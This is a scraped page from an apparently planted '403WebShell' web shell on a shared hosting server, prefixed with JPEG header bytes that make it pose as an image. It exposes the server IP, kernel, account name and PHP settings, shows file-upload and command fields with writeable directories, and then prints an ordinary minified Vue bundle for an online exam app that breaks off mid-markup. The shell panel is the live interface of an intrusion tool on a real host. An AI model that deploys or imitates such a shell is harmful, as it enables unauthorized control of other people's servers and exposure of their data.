����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.45.170
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.gltechlimited.com/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.gltechlimited.com/public/js/4479.js
"use strict";(self.webpackChunk=self.webpackChunk||[]).push([[4479],{99342:(t,e,s)=>{s.d(e,{Z:()=>i});var n=s(23645),r=s.n(n)()((function(t){return t[1]}));r.push([t.id,".q-chip[data-v-3e836949]{height:40px;width:40px}.q-chip-sno[data-v-3e836949]{height:30px;width:40px}.q-chip-status[data-v-3e836949]{height:10px;width:40px}",""]);const i=r},17990:(t,e,s)=>{s.d(e,{Z:()=>i});var n=s(23645),r=s.n(n)()((function(t){return t[1]}));r.push([t.id,".confirmation-content[data-v-581eb206]{align-items:center;display:flex;justify-content:center}",""]);const i=r},73334:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{name:{type:String,default:"Clear Response"}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-10 flex items-center justify-center gap-2 px-4 py-2 bg-white text-red-600 hover:bg-red-600 hover:text-white text-xs sm:text-sm rounded border border-red-600 cursor-pointer"},[s("svg",{staticClass:"w-4 h-4 hidden sm:visible",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M10 14l2-2m0 0l2-2m-2 2l-2-2m2 2l2 2m7-2a9 9 0 11-18 0 9 9 0 0118 0z"}})]),t._v(" "),s("span",[t._v(t._s(t.name))])])}),[],!1,null,null,null).exports},27148:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{name:{type:String,default:"Finish"}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-10 flex items-center justify-center gap-2 px-4 py-2 bg-red-500 hover:bg-red-600 text-white text-sm rounded border border-red-500 cursor-pointer"},[s("svg",{staticClass:"w-5 h-5",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M21 12a9 9 0 11-18 0 9 9 0 0118 0z"}}),s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M9 10a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"}})]),t._v(" "),s("span",[t._v(t._s(t.name))])])}),[],!1,null,null,null).exports},50730:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{name:{type:String,default:"Next"}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-10 focus:outline-none flex items-center justify-center gap-2 px-4 py-2 text-white bg-gray-800 text-xs sm:text-sm rounded cursor-pointer hover:bg-gray-700"},[s("span",[t._v(t._s(t.name))]),t._v(" "),s("svg",{staticClass:"w-4 h-4 rtl:flip",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M14 5l7 7m0 0l-7 7m7-7H3"}})])])}),[],!1,null,null,null).exports},807:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{name:{type:String,default:"Previous"}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-10 focus:outline-none flex items-center justify-center gap-2 px-4 py-2 text-white bg-gray-800 text-xs sm:text-sm rounded cursor-pointer hover:bg-gray-700"},[s("svg",{staticClass:"w-4 h-4 rtl:flip",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M10 19l-7-7m0 0l7-7m-7 7h18"}})]),t._v(" "),s("span",[t._v(t._s(t.name))])])}),[],!1,null,null,null).exports},75521:(t,e,s)=>{s.d(e,{Z:()=>l});const n={name:"QuestionChip",props:{sno:Number|String,status:{type:String,default:""},isActive:{type:Boolean,default:!1}},computed:{statusClasses:function(){switch(this.status){case"success":return"bg-green-400";case"warning":return"bg-purple-400";case"caution":return"bg-yellow-400";case"danger":return"bg-red-400";default:return"bg-gray-400"}},chipClasses:function(){return this.isActive?"bg-gray-100":""},textClasses:function(){return this.isActive?"text-gray-800":"text-gray-400"},borderClasses:function(){switch(this.status){case"success":return"border-green-400";case"warning":return"border-purple-400";case"caution":return"border-yellow-400";case"danger":return"border-red-400";default:return"border-gray-400"}}}};var r=s(93379),i=s.n(r),o=s(99342),a={insert:"head",singleton:!1};i()(o.Z,a);o.Z.locals;const l=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-chip relative text-sm flex flex-col items-center justify-between border border-b-0 rounded-sm",class:[t.chipClasses,t.borderClasses]},[s("span",{staticClass:"q-chip-sno flex justify-center items-center",class:[t.textClasses]},[t._v(t._s(t.sno))]),t._v(" "),s("span",{staticClass:"q-chip-status overflow-hidden text-white absolute bottom-0 h-3 rounded-bl-sm rounded-br-sm",class:[t.statusClasses,t.borderClasses]})])}),[],!1,null,"3e836949",null).exports},94987:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{name:{type:String,default:"Mark for Review"}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-10 flex items-center justify-center gap-2 px-4 py-2 bg-white text-yellow-600 hover:bg-yellow-600 hover:text-white text-xs sm:text-sm rounded border border-yellow-600 cursor-pointer"},[s("svg",{staticClass:"w-4 h-4 hidden sm:visible",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M10 14l2-2m0 0l2-2m-2 2l-2-2m2 2l2 2m7-2a9 9 0 11-18 0 9 9 0 0118 0z"}})]),t._v(" "),s("span",[t._v(t._s(t.name))])])}),[],!1,null,null,null).exports},71396:(t,e,s)=>{s.d(e,{Z:()=>o});var n=s(75521),r=s(28006);const i={name:"ExamQuestionChip",components:{QuestionChip:n.Z},directives:{tooltip:r.default},props:{sno:Number,active:Boolean,is_correct:Boolean,status:String},computed:{questionStatus:function(){return"answered"===this.status?"Answered":"not_answered"===this.status?"Not Answered":"mark_for_review"===this.status?"Marked for Review":"answered_mark_for_review"===this.status?"Answered & Marked for Review":"touched"===this.status?"Answered & Not Saved":"Not Visited"},chipStatus:function(){return"answered"===this.status?"success":"not_answered"===this.status?"danger":"mark_for_review"===this.status?"warning":"answered_mark_for_review"===this.status?"caution":"default"}}};const o=(0,s(51900).Z)(i,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{directives:[{name:"tooltip",rawName:"v-tooltip.top",value:t.questionStatus,expression:"questionStatus",modifiers:{top:!0}}],staticClass:"w-full overflow-hidden rounded-sm cursor-pointer"},[s("question-chip",{attrs:{sno:t.sno,status:t.chipStatus,"is-active":t.active}})],1)}),[],!1,null,null,null).exports},23860:(t,e,s)=>{s.d(e,{Z:()=>o});var n=s(75521),r=s(28006);const i={name:"LightQuestionCard",components:{QuestionChip:n.Z},directives:{tooltip:r.default},props:{question:Object,sno:Number,active:Boolean,is_correct:Boolean,status:String},computed:{questionStatus:function(){return"answered"===this.status?"Answered":"not_answered"===this.status?"Not Answered":"Not Visited"},chipStatus:function(){return"answered"===this.status?"success":"not_answered"===this.status?"danger":"default"}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const o=(0,s(51900).Z)(i,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"w-full overflow-hidden dark_question_card rounded cursor-pointer mb-1"},[s("div",{staticClass:"hover:bg-gray-200 rounded p-4",class:[t.active?"bg-gray-200":"text-gray-600"]},[s("div",{staticClass:"flex items-start gap-4"},[s("question-chip",{directives:[{name:"tooltip",rawName:"v-tooltip.right",value:t.questionStatus,expression:"questionStatus",modifiers:{right:!0}}],attrs:{sno:t.sno,status:t.chipStatus,"is-active":t.active}}),t._v(" "),s("div",{staticClass:"leading-relaxed text-sm",domProps:{innerHTML:t._s(t.question.question)}})],1)])])}),[],!1,null,null,null).exports},44232:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"QuizQuestionCard",props:{question:Object,sno:Number,totalQuestions:Number},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-data"},[s("div",{staticClass:"flex gap-2 mb-4"},[s("span",{staticClass:"text-sm font-semibold"},[t._v("Q"+t._s(t.sno)+" of "+t._s(t.totalQuestions))]),t._v(" "),s("span",{staticClass:"text-sm"},[t._v("|")]),t._v(" "),s("span",{staticClass:"text-sm text-gray-600 uppercase"},[t._v(t._s(t.question.skill))])]),t._v(" "),s("div",{staticClass:"question",domProps:{innerHTML:t._s(t.question.question)}})])}),[],!1,null,null,null).exports},30281:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"AudioAttachment",components:{VuePlyr:s(15859).Z},props:{reference:String,options:Object},data:function(){return{plyrOptions:{speed:{selected:1,options:[1]}}}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"audio-options z-40"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block text-gray-600 rounded text-sm mb-2"},[t._v("\n        Listen to the audio and answer the question\n    ")]),t._v(" "),"mp3"===t.options.audio_type?s("div",[s("vue-plyr",{ref:t.reference,attrs:{options:t.plyrOptions}},[s("audio",{attrs:{controls:"",crossorigin:""}},[s("source",{attrs:{src:t.options.link,type:"audio/mp3"}})])])],1):t._e(),t._v(" "),"ogg"===t.options.audio_type?s("div",[s("vue-plyr",{ref:t.reference,attrs:{options:t.plyrOptions}},[s("audio",{attrs:{controls:"",crossorigin:""}},[s("source",{attrs:{src:t.options.link,type:"audio/ogg"}})])])],1):t._e()])}),[],!1,null,null,null).exports},72522:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"ComprehensionAttachment",components:{PerfectScrollbar:s(44943).PerfectScrollbar},props:{passage:String},data:function(){return{scrollbarOptions:{suppressScrollX:!0}}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"audio-options"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block text-gray-600 rounded text-sm mb-2"},[t._v("\n        Read the passage and answer the question\n    ")]),t._v(" "),s("perfect-scrollbar",{ref:"comScroll",staticStyle:{"max-height":"24rem"},attrs:{options:t.scrollbarOptions}},[s("div",{domProps:{innerHTML:t._s(t.passage)}})])],1)}),[],!1,null,null,null).exports},60118:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"VideoAttachment",components:{VuePlyr:s(15859).Z},props:{reference:String,options:Object,showMessage:{type:Boolean,default:!0}},data:function(){return{plyrOptions:{controls:["play-large","play","progress","current-time","mute","volume","captions","settings","airplay","fullscreen"],speed:{selected:1,options:[.5,1,1.25]}}}},computed:{getVideoLink:function(){return"youtube"===this.options.video_type?"https://www.youtube.com/embed/"+this.options.link+"?amp;iv_load_policy=3&amp;modestbranding=1&amp;playsinline=1&amp;showinfo=0&amp;rel=0&amp;enablejsapi=1":"vimeo"===this.options.video_type?"https://player.vimeo.com/video/"+this.options.link+"?loop=false&amp;byline=false&amp;portrait=false&amp;title=false&amp;speed=true&amp;transparent=0&amp;gesture=media":""}}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"audio-options"},[t.showMessage?s("div",{staticClass:"font-mono px-2 py-1 inline-block text-gray-600 rounded text-sm mb-2"},[t._v("\n        Watch the video and answer the question\n    ")]):t._e(),t._v(" "),"mp4"===t.options.video_type?s("div",[s("vue-plyr",{ref:t.reference,attrs:{options:t.plyrOptions}},[s("video",{attrs:{src:t.options.link}},[s("source",{attrs:{src:t.options.link,type:"video/mp4"}})])])],1):t._e(),t._v(" "),"youtube"===t.options.video_type?s("div",[s("vue-plyr",{ref:t.reference,attrs:{options:t.plyrOptions}},[s("div",{staticClass:"plyr__video-embed"},[s("iframe",{attrs:{src:t.getVideoLink,allowfullscreen:"",allowtransparency:"",allow:"autoplay"}})])])],1):t._e(),t._v(" "),"vimeo"===t.options.video_type?s("div",[s("vue-plyr",{ref:t.reference},[s("div",{staticClass:"plyr__video-embed"},[s("iframe",{attrs:{src:t.getVideoLink}})])])],1):t._e()])}),[],!1,null,null,null).exports},37338:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"FIBInteractiveOptions",props:{parentQid:[Number,String],parentOptions:[String,Array,Number],parentAnswer:[String,Array,Number],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions,answer:this.parentAnswer}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.touched=!0,this.$emit("modifyAnswer",this.answer)},labelClass:function(t){return!this.answer[t]||""===this.answer[t]&&null===this.answer[t]?"q-input":"q-input answered"}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-inputs"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n        "+t._s(t.__("fib_hint"))+"\n    ")]),t._v(" "),t._l(t.options,(function(e,n){return s("div",{key:"blank_"+n},[s("div",{class:t.labelClass(n)},[s("div",{staticClass:"i-id"},[s("label",{attrs:{for:t.question_id+"ans_"+(e-1)}},[t._v(t._s(e))])]),t._v(" "),s("input",{directives:[{name:"model",rawName:"v-model",value:t.answer[e-1],expression:"answer[blank-1]"}],attrs:{id:t.question_id+"ans_"+(e-1),placeholder:"Type your answer for blank "+e},domProps:{value:t.answer[e-1]},on:{change:t.selectAnswer,input:function(s){s.target.composing||t.$set(t.answer,e-1,s.target.value)}}})])])}))],2)}),[],!1,null,null,null).exports},2304:(t,e,s)=>{s.d(e,{Z:()=>r});const n={props:{parentQid:[Number,String],parentOptions:Array,parentAnswer:[String,Array,Number],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions,answer:this.parentAnswer}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.$emit("modifyAnswer",this.answer)},labelClass:function(t){return""}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-radio"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n        "+t._s(t.__("mma_hint"))+"\n    ")]),t._v(" "),s("div",{staticClass:"q-options"},t._l(t.options,(function(e,n){return s("div",{key:e,staticClass:"q-option"},[s("input",{directives:[{name:"model",rawName:"v-model",value:t.answer,expression:"answer"}],attrs:{type:"checkbox",id:"q_"+t.question_id+"_option_"+n,disabled:t.answer.length>=3&&-1===t.answer.indexOf(n+1)},domProps:{value:n+1,checked:Array.isArray(t.answer)?t._i(t.answer,n+1)>-1:t.answer},on:{change:[function(e){var s=t.answer,r=e.target,i=!!r.checked;if(Array.isArray(s)){var o=n+1,a=t._i(s,o);r.checked?a<0&&(t.answer=s.concat([o])):a>-1&&(t.answer=s.slice(0,a).concat(s.slice(a+1)))}else t.answer=i},t.selectAnswer]}}),t._v(" "),s("label",{staticClass:"cursor-pointer",class:t.labelClass(n),attrs:{for:"q_"+t.question_id+"_option_"+n}},[s("span",{staticClass:"o-id squared"},[s("strong",[t._v(t._s(n+1))])]),t._v(" "),s("span",{staticClass:"o-text",domProps:{innerHTML:t._s(e)}})])])})),0)])}),[],!1,null,null,null).exports},66295:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"MSAInteractiveOptions",props:{parentQid:[Number,String],parentOptions:Array,parentAnswer:[String,Array,Number],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions,answer:this.parentAnswer}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.$emit("modifyAnswer",this.answer)},labelClass:function(t){return""}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-radio"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n            "+t._s(t.__("msa_hint"))+"\n        ")]),t._v(" "),s("div",{staticClass:"q-options"},t._l(t.options,(function(e,n){return s("div",{key:e,staticClass:"q-option"},[s("input",{directives:[{name:"model",rawName:"v-model",value:t.answer,expression:"answer"}],attrs:{type:"radio",id:t.question_id+"_option_"+n},domProps:{value:n+1,checked:t._q(t.answer,n+1)},on:{change:[function(e){t.answer=n+1},t.selectAnswer]}}),t._v(" "),s("label",{staticClass:"cursor-pointer",class:t.labelClass(n),attrs:{for:t.question_id+"_option_"+n}},[s("span",{staticClass:"o-id"},[s("strong",[t._v(t._s(n+1))])]),t._v(" "),s("span",{staticClass:"o-text",domProps:{innerHTML:t._s(e)}})])])})),0)])}),[],!1,null,null,null).exports},97448:(t,e,s)=>{s.d(e,{Z:()=>i});var n=s(9980);const r={name:"MTFInteractiveOptions",components:{draggable:s.n(n)()},props:{parentQid:[Number,String],parentOptions:[Array,Object],parentAnswer:[Array,Object],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions.matches,answer:void 0!==this.parentAnswer&&"answered"===this.status?this.parentAnswer:this.parentOptions.pairs,touched:!1}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.touched=!0,this.$emit("modifyAnswer",this.answer)},labelClass:function(t){return this.touched||"answered"===this.status?"answered cursor-move":"cursor-move"}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const i=(0,s(51900).Z)(r,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-radio"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n        "+t._s(t.__("mtf_hint"))+"\n    ")]),t._v(" "),s("div",{staticClass:"flex flex-col sm:flex-row gap-2 q-options"},[s("div",{staticClass:"w-full flex flex-col justify-between"},t._l(t.options,(function(e,n){return s("div",{key:e.id,staticClass:"q-option h-full"},[s("label",{staticClass:"h-full",attrs:{for:t.question_id+"_option_"+n}},[s("span",{staticClass:"o-id"},[s("strong",[t._v(t._s(n+1))])]),t._v(" "),s("span",{staticClass:"o-text",domProps:{innerHTML:t._s(e.value)}})])])})),0),t._v(" "),s("div",{staticClass:"w-full"},[s("draggable",{attrs:{group:"options"},on:{end:t.selectAnswer},model:{value:t.answer,callback:function(e){t.answer=e},expression:"answer"}},[s("transition-group",{staticClass:"w-full flex flex-col justify-between",attrs:{name:"flip-list",tag:"div"}},t._l(t.answer,(function(e,n){return s("div",{key:e.id,staticClass:"q-option h-full"},[s("label",{staticClass:"h-full",class:t.labelClass(n),attrs:{for:t.question_id+"_pair_"+n}},[s("span",{staticClass:"o-id match"},[s("strong",[t._v(t._s(n+1))]),t._v(" - "),s("strong",[t._v(t._s(e.code))])]),t._v(" "),s("span",{staticClass:"o-text",domProps:{innerHTML:t._s(e.value)}}),t._v(" "),s("span",{staticClass:"o-bars text-gray-400"},[s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4 6h16M4 12h16M4 18h16"}})])])])])})),0)],1)],1)])])}),[],!1,null,null,null).exports},30750:(t,e,s)=>{s.d(e,{Z:()=>i});var n=s(9980);const r={name:"ORDInteractiveOptions",components:{draggable:s.n(n)()},props:{parentQid:[Number,String],parentOptions:Array,parentAnswer:[String,Array,Number],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions,answer:void 0!==this.parentAnswer&&"answered"===this.status?this.parentAnswer:this.parentOptions,touched:!1}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.touched=!0,this.$emit("modifyAnswer",this.answer)},labelClass:function(t){return this.touched||"answered"===this.status?"answered cursor-move":"cursor-move"}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const i=(0,s(51900).Z)(r,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-radio"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n        "+t._s(t.__("ord_hint"))+"\n    ")]),t._v(" "),s("div",{staticClass:"q-options"},[s("draggable",{attrs:{group:"options"},on:{end:t.selectAnswer},model:{value:t.answer,callback:function(e){t.answer=e},expression:"answer"}},[s("transition-group",{attrs:{name:"flip-list",tag:"div"}},t._l(t.answer,(function(e,n){return s("div",{key:e.id,staticClass:"q-option"},[s("label",{class:t.labelClass(n),attrs:{for:t.question_id+"_option_"+n}},[s("span",{staticClass:"o-id match"},[s("strong",[t._v(t._s(n+1))]),t._v(" - "),s("strong",[t._v(t._s(e.code))])]),t._v(" "),s("span",{staticClass:"o-text",domProps:{innerHTML:t._s(e.value)}}),t._v(" "),s("span",{staticClass:"o-bars text-gray-400"},[s("svg",{staticClass:"w-6 h-6",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4 6h16M4 12h16M4 18h16"}})])])])])})),0)],1)],1)])}),[],!1,null,null,null).exports},78068:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"SAQInteractiveOptions",props:{parentQid:[Number,String],parentOptions:[String,Array,Number],parentAnswer:[String,Array,Number],status:String},data:function(){return{question_id:this.parentQid,options:this.parentOptions,answer:this.parentAnswer}},watch:{parentAnswer:function(t,e){this.answer=t}},methods:{selectAnswer:function(t){this.touched=!0,this.$emit("modifyAnswer",this.answer)},labelClass:function(){return""!==this.answer&&null!==this.answer?"q-input answered":"q-input"}},created:function(){this.$nextTick((function(){window.renderMathInElement(this.$el)}))}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"q-inputs"},[s("div",{staticClass:"font-mono px-2 py-1 inline-block bg-gray-100 text-gray-600 rounded text-sm mb-2"},[t._v("\n        "+t._s(t.__("saq_hint"))+"\n    ")]),t._v(" "),s("div",{class:t.labelClass()},[s("div",{staticClass:"i-id"},[s("label",{attrs:{for:t.question_id}},[t._v("A")])]),t._v(" "),s("input",{directives:[{name:"model",rawName:"v-model",value:t.answer,expression:"answer"}],attrs:{id:t.question_id,placeholder:"Type your answer"},domProps:{value:t.answer},on:{change:t.selectAnswer,input:function(e){e.target.composing||(t.answer=e.target.value)}}})])])}),[],!1,null,null,null).exports},89808:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"NavigationQuestionCardShimmer",components:{Skeleton:s(80247).default}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"w-full overflow-hidden dark_question_card rounded cursor-pointer"},[s("div",{staticClass:"hover:bg-gray-600 text-gray-400 hover:text-gray-200 rounded p-4"},[s("div",{staticClass:"flex items-start gap-4 opacity-25"},[s("Skeleton",{staticClass:"bg-gray-700",attrs:{width:"1rem",height:"10px"}}),t._v(" "),s("div",{staticClass:"w-full"},[s("Skeleton",{staticClass:"w-full mb-2",attrs:{height:"10px"}}),t._v(" "),s("Skeleton",{staticClass:"w-full mb-2",attrs:{height:"10px"}}),t._v(" "),s("Skeleton",{staticClass:"w-full",attrs:{height:"10px"}})],1)],1)])])}),[],!1,null,null,null).exports},75004:(t,e,s)=>{s.d(e,{Z:()=>r});const n={name:"PracticeQuestionShimmer",components:{Skeleton:s(80247).default}};const r=(0,s(51900).Z)(n,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"mb-6"},[s("Skeleton",{staticClass:"mb-2",attrs:{width:"10rem"}}),t._v(" "),s("Skeleton",{attrs:{height:"2rem"}})],1)}),[],!1,null,null,null).exports},14479:(t,e,s)=>{s.r(e),s.d(e,{default:()=>L});var n=s(87757),r=s.n(n),i=s(44943);const o={name:"QuizLayout",components:{PerfectScrollbar:i.PerfectScrollbar},data:function(){return{moved:!0,fullScreen:!1,scrollbarOptions:{maxScrollbarLength:1,suppressScrollX:!0},online:!0}},methods:{detectOffline:function(t){this.online=t},sidebarHandler:function(){var t=this.$refs.mobileNav;this.moved?(t.style.transform="translateX(0px)",this.moved=!1):(t.style.transform=this.$page.props.rtl?"translateX(320px)":"translateX(-320px)",this.moved=!0)},toggleFullScreen:function(){this.fullScreen?this.closeFullScreen():this.openFullScreen(),this.fullScreen=!this.fullScreen},openFullScreen:function(){var t=document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullscreen?t.webkitRequestFullscreen():t.msRequestFullscreen&&t.msRequestFullscreen()},closeFullScreen:function(){document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitExitFullscreen?document.webkitExitFullscreen():document.msExitFullscreen&&document.msExitFullscreen()}},mounted:function(){this.$refs.mobileNav.style.transform=this.$page.props.rtl?"translateX(320px)":"translateX(-320px)"}};var a=s(51900);const l=(0,a.Z)(o,(function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",{staticClass:"h-screen max-h-screen overflow-hidden select-none"},[s("div",{staticClass:"w-full h-16 absolute z-30 top-0 ltr:right-0 rtl:left-0 mx-auto bg-gray-800 shadow-lg"},[s("div",{staticClass:"w-full h-full mx-auto px-4 sm:px-6 lg:px-8"},[s("div",{staticClass:"h-full flex flex-col justify-center items-center"},[s("div",{staticClass:"w-full flex items-center justify-end gap-4 sm:gap-0 sm:justify-between"},[s("div",{staticClass:"hidden sm:block"},[t._t("title")],2),t._v(" "),s("div",{staticClass:"flex items-center gap-4"},[s("button",{staticClass:"hidden sm:block focus:outline-none text-white text-sm bg-gray-700 hover:bg-gray-600 rounded-sm p-2",on:{click:t.toggleFullScreen}},[s("svg",{staticClass:"w-5 h-5",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M4 8V4m0 0h4M4 4l5 5m11-1V4m0 0h-4m4 0l-5 5M4 16v4m0 0h4m-4 0l5-5m11 5l-5-5m5 5v-4m0 4h-4"}})])]),t._v(" "),s("h4",{staticClass:"flex items-center text-white text-sm bg-gray-700 rounded-sm px-4 py-2"},[s("svg",{staticClass:"w-5 h-5",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"}})]),t._v(" "),t._t("timer")],2)])])])])]),t._v(" "),s("div",{staticClass:"z-20 h-16 w-full mx-auto absolute top-16 left-0 bg-white border-b border-gray-200 flex justify-between items-center px-4 sm:px-6 lg:px-8"},[t._t("sections")],2),t._v(" "),s("div",{staticClass:"flex flex-no-wrap bg-white"},[s("div",{staticClass:"relative h-full container mx-auto md:w-4/5 w-full"},[s("v-offline",{on:{"detected-condition":t.detectOffline}},[t.online?t._e():s("div",{staticClass:"flex items-center z-50 p-2 bg-red-700 text-sm rounded shadow-md absolute top-5 right-5 text-white"},[s("svg",{staticClass:"w-6 h-6 mr-2",attrs:{fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"}},[s("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M18.364 5.636a9 9 0 010 12.728m0 0l-2.829-2.829m2.829 2.829L21 21M15.536 8.464a5 5 0 010 7.072m0 0l-2.829-2.829m-4.243 2.829a4.978 4.978 0 01-1.414-2.83m-1.414 5.658a9 9 0 01-2.167-9.238m7.824 2.167a1 1 0 111.414 1.414m-1.414-1.414L3 3m8.293 8.293l1.414 1.414"}})]),t._v(" "),s("span",[t._v(t._s(t.__("You are offline. Responses will not save.")))])])]),t._v(" "),t._t("default")],2),t._v(" "),s("div",{staticClass:"w-96 overflow-hidden absolute sm:relative md:h-full flex-col justify-between hidden border-l border-gray-100 sm:flex sm:flex-col transition duration-150 ease-in-out"},[s("div",{staticClass:"z-20 h-16 